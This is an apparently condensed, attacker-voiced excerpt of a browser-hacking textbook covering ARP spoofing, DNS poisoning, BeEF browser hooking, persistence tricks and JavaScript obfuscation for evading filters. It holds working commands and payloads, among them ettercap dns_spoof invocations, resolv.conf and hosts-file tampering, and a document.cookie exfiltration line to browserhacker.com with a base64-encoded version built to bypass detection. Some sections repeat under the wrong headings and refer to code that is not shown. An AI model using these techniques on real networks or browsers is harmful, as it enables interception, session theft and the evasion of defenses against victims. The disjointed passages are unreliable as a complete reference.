ARP (*Address Resolution Protocol*) spoofing (also known as ARP poisoning) is where you trick a device to send you the data that is intended for someone else. It is somewhat akin to fraudulently registering a mail redirection for another device. When the data arrives, you can even deliver it yourself so your target won’t notice anything awry. But don’t stop there! You can change the content without your target knowing. Remember that over the network a lot of protocols are not even protected by the flimsy digital equivalent of an envelope. At a high level, ARP is used for resolution of network layer addresses from IP addresses to MAC address. This mapping from layer 3 to layer 2 is going to be your new ARP spoofing best friend. The following flow is how ARP requests normally work on an IPv4 network:

* Computer A (10.0.0.1) wants to talk to Server B (10.0.0.20), so it looks up its ARP cache for the MAC address of 10.0.0.20.
* If the MAC address is found, traffic is submitted over the network interface to the MAC address.
* If the MAC address is not found, a broadcasted ARP message is submitted onto the local network segment asking who has the MAC address for 10.0.0.20. This request is submitted to the MAC address FF:FF:FF:FF:FF:FF that behaves as a broadcast, and the network adaptor with the correct IP address will respond.
* Server B sees the request and submits a response back to Computer A’s MAC address with its own MAC address.

ARP spoofing is possible because the ARP protocol does not have any method to validate the ARP traffic. What makes ARP spoofing particularly effective is that you don’t need to wait for a broadcast requesting a MAC address. You can proactively tell your target machine what MAC address maps to what IP. It is conducted by sending a gratuitous ARP messages to your target system. This will update the target’s local ARP cache with your crafted entry and results in all subsequent IP traffic being sent to you instead of the victim machine.

Ettercap, developed by Alberto Ornaghi and Marco Valleri,27 is one of the more popular tools to perform this style of MitM attack on a local network. In addition to ARP poisoning attacks, the tool can also be used to perform DHCP spoofing, port stealing, packet filtering, and more. dsniff, a separate suite of tools developed by Dug Song,28 provides similar features to ettercap, including various filters for credential sniffing and other MitM attacks. If the following ARP spoofing example is conducted on a network with peering technologies, it has the potential to take down systems.

* + - **DNS Poisoning**

ARP poisoning is a great way to insert your computer between nodes on a local network, it doesn’t work in every situation. Another method to perform MitM attacks is to poison Domain Name System (DNS) records. What ARP is to converting an IP address to a MAC address, DNS is to converting a DNS name into an IP address. Simply put, the DNS converts browserhacker. com into the IP address 213.165.242.10. DNS works at multiple levels. First, the local DNS process within your computer refers to its own cache and hosts file. If an entry is not found, it then performs a DNS request to its configured DNS server. This gives you various places in which to poison DNS entries. For example, you can target a top-level DNS server, a lower-level DNS server, or even the target’s local DNS cache. If you can control any of these, you will be able to provide your own responses to the target. This means you’ll have an avenue to run your initiation code.

Stepping away from modifying a client’s DNS settings, the next method in which you can impact DNS is at the local network level. By leveraging ARP poisoning attacks, as discussed earlier, you can inject your own computer as the DNS server used within the local network. Ettercap offers a module named DNSSpoof that can automatically perform this style of attack. First, modify the etter.dns file with your malicious DNS entries. On Linux systems this is normally found in /usr/share/ettercap/etter.dns, and on OSX this usually resides in /opt/local/share/ettercap/ etter.dns. To execute the attack, you run ettercap similar to before, but this time you specify the plugin:

ettercap -T -Q -P dns\_spoof -M arp:remote

-i **<network interface> /<IP address to poison>**/ //

In all of the preceding instances, once you have control of DNS on a target’s computer or network, you can impersonate any other computer or server that is trying to be accessed via its name. To leverage this MitM technique to inject your initiation control code, it’s recommended you first monitor the normal flow of web traffic to determine if a proxy server is in use. This would be an ideal target to impersonate, because the local web browsers would be submitting traffic to that server anyway.

Depending on the OS, there are a few different ways to tamper with a target’s DNS settings.

**Windows**

In modern Windows systems, you can insert arbitrary DNS entries by adding them into the C:\Windows\System32\drivers\etc\hosts file. In most configurations, you may require administrative permissions to update this file.

The entries are formatted as:

<ip address> <dns name>

For example, to trick a computer into visiting you when they attempt to load Google, you would update this file to include:

**<your IP address>** [www.google.com](http://www.google.com)

In addition to inserting arbitrary records into the local hosts file, it’s also possible to update Windows DNS settings for a particular network interface from the command line. You could execute this on a victim PC either through a simple batch file, or through a small compiled program.

netsh interface ip set dns name="Local Area Connection"\ source=static addr=**<IP of your malicious DNS server>**

You can shorten this to:

netsh interface ip set dns "Local Area Connection" static **<IP>**

**Linux/Unix/OS X**

Linux, UNIX, and OS X systems store their hosts file in /etc/hosts. The format of this file is similar to Windows and with root permissions can be updated as well. The DNS settings for these operating systems always rely on the /etc/ resolv.conf file. With the right permissions, you can update this by performing the following:

echo "nameserver **<IP of malicious DNS server>**" > /etc/

resolv.conf

* + - **Exploiting Caching**

Robert Hansen30 uncovered security issues with the way browsers cache origins using non-publicly routable IP addresses. That is the 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 ranges. Hansen showed that under certain circumstances, you could embed malicious logic into an origin. This can then be abused when your target connects to another network using the same non-routable addresses. This attack will potentially give you access to internal servers without breaking the SOP. For example, a target might be using an Internet café that you also have access to. From here you can use ARP MitM techniques to modify any HTTP requests across the network using the techniques discussed earlier. Of course, you have planned ahead and you also control a BeEF server on the Internet:

1. Once the MitM attack is underway, you can wait for the target to make any HTTP request. Then you can insert numerous IFrames into the response that load content from each of your target IPs.

2. You would respond with your crafted data that will be cached in the browser. Each of these IFrames would be seeded with initiation instructions that connect back to the Internet BeEF server.

3. When the target disconnects from the public network, and reconnects back at the office or home, the browser will continue to poll back to the BeEF server.

4. If at some later stage, the target then browses to one of the private IP addresses—for example, their router’s admin page—then your previously cached content will be executing in that origin. These situations can also be exploited under particular VPN conditions, but the preceding scenario is much more likely. This is of course possible due to the fact that JavaScript logic, once executing within the browser, has the potential to outlive browser caching, and even DNS caching in some circumstances.

Chapter 3: Retaining Control

* **Understanding Control Retention**

Retaining control of your target is trickier than just executing your initial instructions. Unless you’re able to somehow inject code into every page, you will lose control when the target navigates away. Ideally, retaining your control over a browser should take place not only in the face of network disconnections, but regardless of what sites the user may be visiting.

Retaining control over your target can be categorized into two broad areas. These are retaining communication and retaining persistence. They are both important, as they will extend your browser hacking time window.

Retaining communication can occur using numerous kinds of channels reaching back to your controlled web server. In some instances they may even be maintained over DNS without the reliance on HTTP. You can use one that gives you maximum speed but you will likely sacrifice communication with older browsers.

* **Hooking**

Hooking a browser is the process of establishing a bidirectional communication channel with a targeted browser. You will frequently read the term “hooked browser” throughout this book. This simply means any browser that was initially coerced into executing malicious code and can now receive more commands from a central server like BeEF. When new commands are received and executed by the hooked browser, results can be asynchronously returned back to the central server.

Such communication channels enable the execution of advanced chains of attack, in the form of command modules, which can be executed in a logical order. For instance, after establishing initial control over a browser you may first want to retrieve the hooked browser’s internal IP address. Once this is uncovered, you then want to perform a ping sweep on the internal network and finally run a port scan of the responsive hosts. All of these actions can be chained together, and the flow optionally altered depending on the execution results of previous steps.

* **Exploring Communication Techniques**

Almost every communication channel you can use is going to rely on some kind of polling. *Polling* is the client checking for changes or updates from the server. Actually implementing a polling mechanism relies on both a client and a server. In this instance the client is controlled by the JavaScript code injected into the target browser, and the server is a piece of software owned by the attacker that replies to the polling process. The communication channel is predominantly required for two reasons: to detect client disconnections, and to communicate new commands from the server to the client. As long as the server receives the polling requests, it knows that the client is alive and ready to receive new commands.

* + **Using XMLHttpRequest Polling**

The XMLHttpRequest object is a good candidate for the default communication channel, thanks to its wide compatibility across browsers. From a BlackBerry phone or an Android system, to Windows XP with IE6, XMLHttpRequest is supported. In older versions of Internet Explorer like 5 and 6, the Microsoft. XMLHTTP functionality needs to be instantiated as an ActiveX object, whereas from IE 7 and on, the object can be created natively. The XMLHttpRequest mechanism that is performing communication magic is quite simple. The object is used to create asynchronous GET requests to your attacking server, in this instance, BeEF. These requests are sent on a regular basis, for example every 2 seconds, using the setInterval(sendRequest(), 2000) JavaScript function. The BeEF server will respond in one of two ways:

* With an empty response to indicate that there are no new actions
* With a response having Content-length greater than 0 bytes if you want to instruct the victim browser to do something

* **Closures**

A closure, particularly in the context of JavaScript, is a special object that includes both functions and the environment in which the functions were created. What’s interesting about the previous code snippet is that, after exec\_wrapper() has executed, you would expect that the b variable should be no longer accessible, especially as it was outside of the do\_something() function, which was returned by exec\_wrapper(). If you then execute wrapper(); you will see that 456 and 789 are returned, meaning that the b variable was still accessible. This is because exec\_wrapper is a closure, and as part of its environment, any local variables in-scope at the time of creation, are also included. Closures also come in handy when you want to emulate a private method, in order to achieve data visibility, because JavaScript doesn’t provide a native way of doing this. The result of this is a process to provide Object-Oriented programming concept to JavaScript. Using CORS as a communication channel is an effective way to maintain an ongoing relationship between a hooked browser and your server. However, sometimes you may want to use a faster channel, such as the WebSocket protocol.

* + **Using Cross-origin Resource sharing**

CORS allows a web application to specify different origins that can read HTTP responses by slightly extending the SOP. This is particularly useful if you want your central attacking server to be able to communicate with browsers visiting different origins. The BeEF server achieves this by including the following additional HTTP response headers, allowing cross-origin POST and GET requests from anywhere:

Access-Control-Allow-Origin: \*

Access-Control-Allow-Methods: POST, GET

When the XMLHttpRequest object is used to send a cross-origin GET request, if the target origin returns the previous headers, the full HTTP response can be read. When these CORS headers are not included, the SOP prevents the XMLHttpRequest object from reading the full HTTP response. Using CORS as a communication channel is an effective way to maintain an ongoing relationship between a hooked browser and your server. However, sometimes you may want to use a faster channel, such as the WebSocket protocol.

* + **Using WebSocket Communication**

The WebSocket protocol is a very fast, full-duplex communication channel. This technology enables you to have stringent event-driven actions without the explicit need to poll the server. This doesn’t mean you throw away your internal polling mechanism altogether—depending on your needs and the architecture of the communication channel, there may be benefits to keeping some form of polling.

The WebSocket API is a replacement for other AJAX-Push technologies like Comet5. Whereas Comet requires additional client libraries, the WebSocket API is implemented natively in modern browsers. Various projects aim at adding WebSocket compatibility to unsupported browsers. One of the more notable projects is Socket.io6. Socket.io still relies on an additional JavaScript library to be used client-side, but provides reliable connectivity by selecting the most capable transport at run time. Some of the available channels in Socket.io include the WebSocket protocol, Adobe Flash Sockets, AJAX long polling, and JSONP polling.

* + **Using Messaging Communication**

window.postMessage() is another native method to achieve cross-origin communication, while respecting the SOP. Using this method requires setup; first, you need to host content for an IFrame on your attacking server, in this example browserhacker.com. Next, you need to exploit an XSS vulnerability on the target’s site, let’s say browservictim.com. The payload that has been injected requires JavaScript logic plus the IFrame itself. The created IFrame loads the previous code snippet. Note the to\_server IFrame and the post\_msg() and receiveMessage() functions.

After the code loaded from browserhacker.com receives the data from a different origin, it replies back with additional JavaScript code, which is evaluated by creating a new Function on browservictim.com. In the previous code sample a simple alert(1) was sent.

window.postMessage() can be useful to communicate between different windows, such as IFrames, pop-ups, and pop-unders, and generally tabs. As always, some quirks exist across browsers. In Internet Explorer 8 and above it is possible to use window.postMessage() for IFrames only, but not for other tabs or windows.

For an overview of the postMessage() support across browsers. Internet Explorer versions 8 to 10 only partially support postMessage(), whereas the WebSocket protocol is fully supported9. This is one of the main reasons you might want to consider using postMessage() as your primary communication channel (if the hooked browser is not Internet Explorer).

* + **Using DNS Tunnel Communication**

Kenton Born presented research12 at BlackHat 2010 leveraging DNS covert channels from the browser itself. This method is effective when data needs to be extruded only one-way from the browser to the server. However, it becomes more complex if the communication is meant to be bidirectional. You can create a simple DNS-based unidirectional exfiltration channel that sends requests to crafted domains, which are resolved by a DNS server under your control. Such a channel could be used to pass a symmetric key to the client, in order to encrypt the data exchanged between the client and the server in subsequent HTTP request and responses

To assist with the DNS communication channel, BeEF comes with a DNS extension. That’s right, you can use BeEF as a DNS server too, which might come in handy during your Social Engineering engagements. Additionally, BeEF’s network stack and the DNS extension work together, managing the bi-directional DNS tunneling communication with the hooked browser.

* **Exploring Persistence Techniques**
  + **Using Iframes**

The <iframe> tag is widely used as a quick way to embed another document into the current HTML page. Many advertising engines rely on the use of this tag to display marketing widgets embedded into websites. Similar to other HTML tags and features, the <iframe> tag can also be used to mount attacks. IFrames are also used in the Exploiting UI Redressing Attacks When you are trying to achieve persistence, IFrames can be extremely effective for a couple of reasons. First, you have complete control over the IFrame’s DOM content, meaning that CSS can be also controlled. Second, the fact that IFrames are primarily used to embed another document into the current page offers a direct method to persist your communication channel.

* + - **Using Full Browser Frame Overlay**

An overlay in this context means a page component, such as an IFrame that is visible in the foreground of the page, while code and other elements are invisible in the background, continuing to execute their logic. On top of this, the HTML5 History API also comes in handy here, especially when masking the real URL in the address bar.

Imagine a web application with a Reflected XSS vulnerability before the user authenticates. You have already hooked the target, but the XSS is not persistent, so to prevent losing connectivity with the target’s browser you create an overlay IFrame. It doesn’t have borders, stretches the width and height to 100 percent and has the source attribute pointing to the web application login page. A fraction of a second after the IFrame is rendered, the hooked browser will show the content of the login page, while keeping the previous URI in the address bar. Any activity the target performs on the page will happen inside the overlay IFrame, effectively trapping the target in a new frame. At the same time, in the background, the communication channel still works and you can send further commands and continue activities with the target’s browser. The target is unlikely to spot the attack. The only noticeable events are the reload of the page when the IFrame is rendered, and the address bar containing a different URI from what the target may expect.

To embed a document through the overlay IFrame, you need to specify custom CSS selectors to remove borders and position the new element correctly, including dimensions in the browser window. The correct dimensions are 100 percent width and height, with 0 pixel margins and padding. If these are combined with an absolute element positioning, the IFrame will perfectly match the current browser window borders. The use of IFrames to persist your control over a target’s browser is just one available technique at your disposal. The benefit of IFrames is that they’re generally well supported by browsers, and the ability to overlay the current content increases the likelihood that your hook will remain undetected. There are some limiting factors to this technique. If the content you want to frame includes frame-busting code, or restrictive X-Frame-Options headers, then you may have to investigate using one of the techniques.

* + **Using Browser Events**

Have you ever seen websites that ask you for confirmation before they close? This behavior can be exceptionally irritating, especially if the site keeps on asking the same question every time you click OK on the dialog box. This is exactly what you can do to increase the time a target will stay on a specific page that you have control of. In certain circumstances, remaining on the hooked page a couple of seconds longer results in a few more command modules being executed. Remember, the longer you keep the browser hooked, the better.

This technique relies on handling the onbeforeunload event associated with the window object, which is triggered by default on the following conditions:

* When the unload event is fired — you closed the current tab, the whole browser, or simply navigate away
* When window.close or document.close are called
* When location.replace or location.reload are called
  + **Using Pop-Under Windows**

When you browse to a website, there is nothing more annoying than anunprompted pop up. How many times have you been forced to repeatedly close multiple pop-ups displaying advertisements? Whereas a pop-up is a new browser window that appears in the foreground of the current browser page, apop-under is a new browser window that appears in the background, literallyunder the current browser window. Most modern browsers block pop-underbehavior by default.

The easiest way to open a pop-under with JavaScript is by using the window. open() method. The following code will be blocked by default in the latest versions of Firefox and Chrome:

window.open('http://example.com','popunder','toolbar=0

location=0,directories=0,status=0,menubar=0,scrollbars=0,

resizable=0,width=1,height=1,left='+screen.width+',

top='+screen.height+'').blur();

window.focus();

The script is blocked because the browser realizes the new window will open without any user intervention, such as an explicit mouse click. You might start to think how you can bypass this behavior. The first potential solution to examine is by using MouseEvents to programmatically instrument mouse actions through JavaScript code. Suppose you have a link you control, either by creating it dynamically or by exploiting an XSS vulnerability within an onClick attribute

* + **Using Man-in-the-Browser Attacks**

A MitB attack, allows you to *watch* what the user is doing, for instance clicking a link within the same-origin, or submitting a form. MitB code is able to intercept and extend the DOM event-handling functionality, and if it chooses, perform the user-initiated action dynamically. At this point the correct resources are retrieved and results are returned back to the user, while still maintaining persistence to your attacker-controlled server.

The difference between normal page behavior and a MitB poisoned page resides in the fact that MitB loads resources asynchronously while keeping the hook alive. For example, if a target were hooked through a Reflected XSS, a simple click on a link to the same origin would result in losing the hook. This happens because the page is reloaded and the script, which was injected through the XSS, is no longer present in the DOM of the page. Although this issue can be addressed using the IFrame techniques previously described, as you have seen this might not work in certain cases. The MitB technique on the other hand is likely to work in more situations where IFrames can’t be used.

* **Man-In-The–Browser Vs. Man-In-The-Middle Attacks**

Whereas a Man-in-the-Middle (MitM) attack generally refers to eavesdropping attacks at the network level, Man-in-the-Browser refers to eavesdropping attacks at the application level or, even better, at the browser level. A similarity with MitM is the relaying of data that was intended for the legitimate server back to the attacker. MitB techniques are used extensively by banking malware like SpyEye and Zeus15 in order to subvert the content rendered by the browser when users visit their banking websites.

Page content is altered in various ways depending on the malware configuration. The final result is often a modified look and feel of the page’s HTML in order to display fake content. For instance, the login page of a banking website may be altered claiming that the bank introduced new “security” features. The user might be asked to provide more details such as date of birth, mother’s maiden name, or even second factor authentication data (for example, RSA one-time PINs). What makes these attacks hard to spot is the fact that they are completely client side, and are often not seen by the web server. This often limits the effectiveness of server-side mitigations or Web Application Firewalls.

These attacks can be performed in a few different ways. One technique relies on intercepting the traffic of the infected machine when visiting the target bank site, and modifying it when it returns with new HTML content, prior to the browser rendering it. Another technique is injecting custom JavaScript that overrides the page behavior dynamically, poisoning existing web application logic and adding new content.

* + - **Hijacking AJAX Calls**

MitB attacks aim to hijack AJAX GET and POST requests, and they work in both same- and cross-origin scenarios. These attacks are possible thanks to the flexibility of JavaScript and the DOM. One of the great features of JavaScript is the ability to override the prototypes of built-in DOM methods. Prototype overriding is one of the tricks used by a MitB attack to hijack AJAX requests. The following snippet from BeEF shows how the “open” method of the XMLHttpRequest object prototype is overridden with custom logic. You won’t be able to just copy this code verbatim though, as it does depend on some of BeEF’s other features too.

* + - **Hijacking Non-AJAX Requests**

Non-AJAX GET and POST requests can be hijacked as well. Similar to AJAX resources, normal resources are prefetched by the MitB code, subverting default behavior (AKA poisoning) of links and forms. For instance, if the page contains an <a> tag pointing to a same-origin resource, the MitB adds an onClick event attribute that will execute a JavaScript function. When the user clicks the link, the default behavior (GET request to a page) is prevented, and instead the new onClick event handler will manage the click event. In case the link already contains an onClick attribute, MitB replaces that method, calling a different function.

* **From Monitoring To Expanding The Attack Surface**

It must be noted that user activity, for example which links are clicked and which forms (including data) are submitted, can be logged and made available to you. This is useful in situations where the user is clicking on cross-origin links. In this particular case, thanks to the Same Origin Policy, loading the resource via AJAX obviously won’t be successful. If this happens, the link is simply opened in a new tab, preventing the loss of the hook because the already hooked tab remains open. You can’t control the newly opened tab, because it’s a different origin. However, you can determine what its URL is, because you have full control of the page DOM. At this point you can attempt to expand the attack surface by running XssRays on the target resource to look for XSS vulnerabilities. If further flaws are discovered, they can be used to hook the new origin by exploiting the XSS, resulting in the control of the origin loaded in the second tab too.

* **Evading Detection**

It must be noted that user activity, for example which links are clicked and which forms (including data) are submitted, can be logged and made available to you. This is useful in situations where the user is clicking on cross-origin links. In this particular case, thanks to the Same Origin Policy, loading the resource via AJAX obviously won’t be successful. If this happens, the link is simply opened in a new tab, preventing the loss of the hook because the already hooked tab remains open. You can’t control the newly opened tab, because it’s a different origin. However, you can determine what its URL is, because you have full control of the page DOM.

At this point you can attempt to expand the attack surface by running XssRays on the target resource to look for XSS vulnerabilities. If further flaws are discovered, they can be used to hook the new origin by exploiting the XSS, resulting in the control of the origin loaded in the second tab too.

* + **Evasion using Encoding**

The first and easiest way to *hide* the code you want to execute is by encoding it. In this context, encoding and decoding is the process of transforming code from one format into another. Many different encodings and techniques are available within a browser. Some of them are as simple as using base64 to encode a plaintext string. Others are more advanced and rely on particular aspects of the JavaScript language, such as non-alphanumeric codes.

* + - **Base64 Encoding**

A common detection technique used to evaluate potentially malicious JavaScript is to implement Regex-based filters that search for eval, document.cookie, or other keywords that can be potentially used for malicious purposes. If you wanted to steal a web application’s cookies, not marked as HttpOnly, you would execute:

location.href='http://browserhacker.com?c='+document.cookie

This code will send the cookies to your site. Unfortunately, the original site’s filter may detect the document.cookie reference and filter it out. To hide the document.cookie code you can base64-encode it, and the attack vector becomes:

eval(atob("bG9jYXRpb24uaHJlZj0naHR0cDovL2F0dGF"+"ja2VyLmNvbT9jPScrZG9jdW1lbnQuY29va2ll"));

The Regex-based filter unfortunately still blocks the vector because the blacklisted eval keyword is still present. There are multiple different ways to get access to the window object, which can help achieve eval behavior by using different statements. For example:

[].constructor.constructor("code")();

Another method is to use either the setTimeout() or setInterval() functions (or even setImmediate() in newer browsers) all of which evaluate JavaScript functions. Note in the instance of the setTimeout()function that the second argument, which specifies a millisecond delay before calling the function, is not mandatory.

* + - **Whitespace Encoding**

A very crafty encoding technique, presented by Kolisar at DEFCON 16, is WhiteSpace encoding.18 The idea behind this technique is to binary-encode ASCII values using whitespace characters. If you map the Tab character to 0 and the Space character to 1, you can encode your data with just these two characters. The result is nothing but whitespace, hence the name of the technique. A lot of automated de-obfuscation tools ignore whitespaces, so this technique comes in handy to make de-obfuscation more difficult.

As you can see, input into the whitespace\_encode() function is converted to a binary representation, then 0 is mapped to Tab and 1 is mapped to Space. The result is written to a new file, enabling you to copy and paste it more easily. The code needs a boot-strapper in order to properly decode and evaluate the input. The decode\_whitespace function is used to decode the content of the whitespace\_encoded variable, which contains the whitespaces generated through the previous Ruby script. The decoding process reconstructs data characters byteby- byte. String.fromCharCode is used to return the original string.

* + - **Non-alphanumeric JavaScript**

Non-alphanumeric JavaScript relies deeply on the specific type casting functionality within JavaScript, which isn’t often found in strongly typed languages such as Java or C++. A few basic concepts that promote this method of JavaScript are presented here. First, in JavaScript you can cast a variable to a String representation by concatenating it with an empty string:

1+"" //returns "1"

Second, you have many different ways to return a Boolean value from just symbols. For example, with an empty array, empty objects, or simply an empty string:

![] //returns false

!{} //returns false

!"" //returns true

Given this behavior, you can easily construct strings. For instance to construct the string “false”, you can use the following code:

([![]]+[])

You first start with an empty array [], you negate it using !, and you have a Boolean false. Then wrapping it inside another empty array and concatenating it with yet another empty array, you obtain the string “false”. Now that you can create arbitrary strings, you need to get a reference to window.

**Evasion using Obfuscation**

Obfuscation is another method to hide your code, and when combined with encoding, can become a very effective way to bypass network filters. These techniques are common in the wild; the delivery of client-side attacks from exploit-kits such as BlackHole24 often leverage obfuscated and encoded JavaScript payloads.

* + - **Random Variables and Methods**

If you are a developer, you know that writing clear and maintainable code is apriority. The following code is very easy to read thanks to the self-explanatorynature of its variables and method names. A new object, malware, is created,with various properties. The malware object is then attached to the window object,and the redirect\_to\_site() function is called, which will redirect the browserto the first URL in the exploits array.

var malware = {

version: '0.0.1-alpha',

exploits: new Array("http://malicious.com/aa.js",""),

persistent: true

};

window.malware = malware;

function redirect\_to\_site(){

window.location = window.malware.exploits[0];

};

redirect\_to\_site();

Now imagine there is a network filtering solution that is looking through network traffic with a Regex filter searching for malware, version number, and redirect\_to\_malware() or other function names. This is more common than you can imagine and can be effective if server-side code polymorphism is not used.

* + - **Mixing Object Notations**

You may be accustomed to seeing properties accessed with the Dot notation style than the Bracket notation if you code review a lot of JavaScript.26 As far as the language is concerned, the two styles are largely equivalent. The previous code snippets used the Dot notation. For example, when it calls the window object, then the malware object, and finally a property of the malware object:

window.malware.exploits[0];

The same code with Bracket notation is as follows:

window['malware']['exploits'][0];

Mixing the two notations you can write perfectly valid code like this:

window.malware['exploits'][0];

You can clearly (or unclearly) see how the code is less readable using a mix of Dot and Bracket notation. Arrays are commonly queried using array[index] or array['string\_element']. Looking at code from the previous example, where object methods or properties are accessed the same way, combined with non-meaningful variable names, you might think those brackets are used to get items from data structures. This is, of course, not the case, but just what you want to achieve: confusion. This confusion is directed not only at the human analyst, but potentially a network filtering solution as well.

* + - **Time Delays**

Time-based checks are another method in which malware can attempt to evade emulation. Malware detection technology often emulates JavaScript engines, particularly those that may be present in a WAF or proxy. Unfortunately, these engines often ignore setTimeout() or setInterval() delays for performance reasons. An inline networking proxy solution that is checking for JavaScriptborne malware is unlikely to wait for 30 seconds, to the detriment of the user. This kind of behavior can be exploited by implementing logic that will voluntarily delay execution, for example with setTimeout(). Functions that are called after the elapsed time can also check the Date() object to see if the expected delay was respected. If it’s not, the decryption routine needed to execute the real malicious code is not triggered. These techniques, while effective against automated analysis of potentially malicious JavaScript, may not necessarily avoid detection by a human.

* + - **Mixing Content from Another Context**

Another method to obfuscate JavaScript is by mixing contexts. When a human is de-obfuscating JavaScript, the first thing they may look at is the JavaScript code itself—we would consider this a single context. Imagine if the code was broken up into multiple parts, or contexts, and they each need information from different contexts in order to function. The following code is calling the decrypt() function, passing as its parameter the concatenation of two String objects (from the DOM):

<body>

<div id="hidden\_div">

<p>key</p>

</div>

</body>

The second string comes from the page URI: <http://browserhacker.com/> mixed-content/dom.html#YTJWNU1pMWpiMjUwWlc1MA== :

function decrypt(key){

// decryption routine

alert(key);

}

var key = document.getElementById('hidden\_div').innerHTML;

var key2 = location.href.split("#")[1];

decrypt(key + key2);

If a human analyst de-obfuscates just the script itself their result won’t be

overly effective.

The same concept can be extended to different contexts, not only the DOM. PDF files, Flash content, and Java Applets are all callable from JavaScript, so pieces of information can be pulled in from multiple disparate contexts.

* + - **Using the callee Property**

In JavaScript, if arguments.callee is called inside a function, it returns the function itself. This is sometimes useful when using anonymous recursive functions. Unfortunately, the use of arguments.callee is being deprecated from JavaScript, and will not run if using ECMAScript version 5 in strict mode. The fact the function itself is returned by arguments.callee can be exploited to make de-obfuscation trickier. Imagine the function is performing a check on the code length of itself. If this check fails, parts of the code will not be executed. If someone is manually evaluating the code, by changing it, this check will likely fail.

This is common when manually reviewing obfuscated code. For example, nested eval() calls might be replaced with helper functions such as console.log() or custom printing functions, to better understand the code before it’s being evaluated. If such an approach is used inside an obfuscated function that relies on arguments.callee to check for its own length, the part of the sample that contains the malicious code may never get executed.

* + - **Evasion using JavaScript Engines Quirks**

If you know which rendering engine you want to target, you can refine your obfuscation techniques to make de-obfuscation trickier by using JavaScript quirks between different rendering engines. These quirks can be abused to allow your code to follow a different path, depending on which JavaScript engine you use while de-obfuscating it. For instance, Trident (Internet Explorer’s engine) returns true if the following code is evaluated. Gecko and WebKit, on the other hand, return false.

'\v'=='v'

Another similar trick to identify Internet Explorer is by using conditional comments, which work only on IE. The following snippet is a very simple example of how the Boolean negation ! is applied only if conditional comments are enabled with @cc\_on:

is\_ie=/\*@cc\_on!@\*/false;

If the code is evaluated by IE, it will be effectively interpreted as !false, resulting in the is\_ie variable being true. In every other browser, the variable will be false because the Boolean negation will be considered just a code comment. Now imagine you are targeting Internet Explorer and the server-side HTTP filtering engine uses SpiderMonkey (the JavaScript engine used by Firefox). If the filtering engine (using SpiderMonkey) evaluates the following code the flow will always end up in the else block:

if('\v'=='v'){

... // Malicious code for IE browser

}else{

... // Dead and Not-Malicious code for non-IE browsers

}

The filtering engine will parse the code in the else statement and diagnose it as not malicious. The whole JavaScript content will be allowed by the proxy, and will then be potentially executed by an Internet Explorer browser. This time though, the logic flow that gets followed leads to the malicious code. The same concept applies while manually de-obfuscating the code, in case the evaluation is done within a browser or other tools that rely on a particular JavaScript engine. The example can be flipped the other way around depending on what filtering solution you want to bypass, but the concept remains the same.

Chapter 4: Bypassing the Same Origin Policy

* **Understanding the Same Origin Policy**
  + **Understanding the SOP with the DOM**

When determining how JavaScript and other protocols can access DOM policies, there are three portions of the URL that are compared to determine access the hostname, the scheme and the port. If two sites contain the same hostname, scheme and port when accessed, then DOM access is granted. The only exception (for DOM access) is Internet Explorer; it only validates hostname and scheme before determining access.

This works well when all scripting is under one origin. However in many cases, there may be another host within the same root domain, which should have access to the source page’s DOM. One example might be a series of sites that use a central authentication server. For instance, store.browservictim.com may need to leverage authentication through login.browservictim.com. In this case, the sites can use the document.domain property to allow other sites within the same domain to interact with the DOM. To allow the code from login.browservictim.com to interact with the forms on store.browservictim .com the developer would need to set the document.domain property to the root of the domain (on both sites):

document.domain = "browservictim.com"

Once this is set in the DOM, the SOP is relaxed to the root of the domain. This means that anything in the browservictim.com domain can access the DOM in the current page. There are a few restrictions to setting these values, however. Once the SOP is relaxed down to the root domain, it can’t be restricted again. To see this in action, you can try setting the document.domain property to the root of the domain. Then, try to restrict it again.

* + **Understanding the SOP with CORS**

By default, if you use an XMLHttpRequest object (XHR) to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This is a very useful characteristic of cross-origin requests, and will be discussed in Chapters 9 and 10 as part of a number of attack techniques. The SOP prevents you from reading the HTTP response headers or body. One of the ways to relax the SOP and allow cross-origin communication with XHR is using Cross-origin Resource Sharing (CORS). If the browserhacker.com origin returns the following response headers, then every subdomain of browservictim .com can open a bidirectional communication channel with browserhacker.com:

Access-Control-Allow-Origin: \*.browservictim.com

Access-Control-Allow-Methods: OPTIONS, GET, POST

Access-Control-Allow-Headers: X-custom

Access-Control-Allow-Credentials: true

Other than the first self-explanatory HTTP response header, the other headers specify that requests can be made using any of the OPTIONS, GET or POST methods, and eventually including the X-custom header. Note also the Access-Control Allow-Credentials header, which is responsible for allowing authenticated communication to a resource. This is demonstrated in the following code snippet:

var url = 'http://browserhacker.com/authenticated/user';

var xhr = new XMLHttpRequest()

xhr.open('GET', url, true);

xhr.withCredentials = true;

xhr.onreadystatechange = do\_something();

xhr.send();

The preceding example retrieves the /authenticated/user resource. In this instance it required credentials for access. The JavaScript enabled authentication support by setting the withCredentials flag to true.

* + **Understanding the SOP with Plugins**

Every major browser plugin implements the SOP in its own way. For instance, some versions of Java consider two different domains to have the same-origin if the IP is the same. This might have devastating results in virtual hosting environments that often host multiple websites from the same IP address. Adobe has a long history of critical security bugs in its PDF Reader and Flash plugins. Most of those bugs allowed execution of arbitrary code, so the security risk was much higher than a SOP bypass. However, SOP bypasses affected both the plugins too.

Java and Silverlight SOPs can be relaxed in a similar way, because crossdomain .xml is supported by both of these plugins. Silverlight also supports clientaccesspolicy. xml. When a cross-origin request is issued, Silverlight first checks for this file, and then if that’s not found, falls back to crossdomain.xml. Both plugins have their quirks, as you will learn in the following sections.

* + **Understanding the SOP with UI Redressing**

UI redressing, in simple terms, is an attack methodology category that changes visual elements in a user interface in order to conceal malicious activities. Overlaying a visible button with an invisible submit button that performs a malicious action, or changing the cursor to move or click independently from where a user actually intends, are both UI redressing attacks. Multiple UI redressing attacks have been successfully exploited in the wild, targeting Facebook and other popular websites, as you will discover later in this chapter. UI redressing attacks bypass the SOP in different ways. Some of these (now patched) attacks relied on the fact the SOP wasn’t enforced when performing drag&drop actions from the main window to IFrames, between IFrames and between windows. Other attacks rely on the SOP not being enforced under certain conditions while requesting view-source content.

* + **Understanding the SOP with Browser History**

Retrieving the browser history can be potentially devastating for the privacy of an end user. While most of the attacks targeting the user’s privacy are covered. Some of these attacks rely on classic SOP implementation flaws, such as an http scheme having access to other schemes (for example, browser, about or mx). These attacks worked on Avant and Maxthon, two lesser-known browsers that happen to be very popular in China. Other more sophisticated attacks involve catching SOP violation errors while loading cross-origin resources. These attacks are useful in unveiling sites the browser has visited previously.

* **Exploring SOP Bypasses**

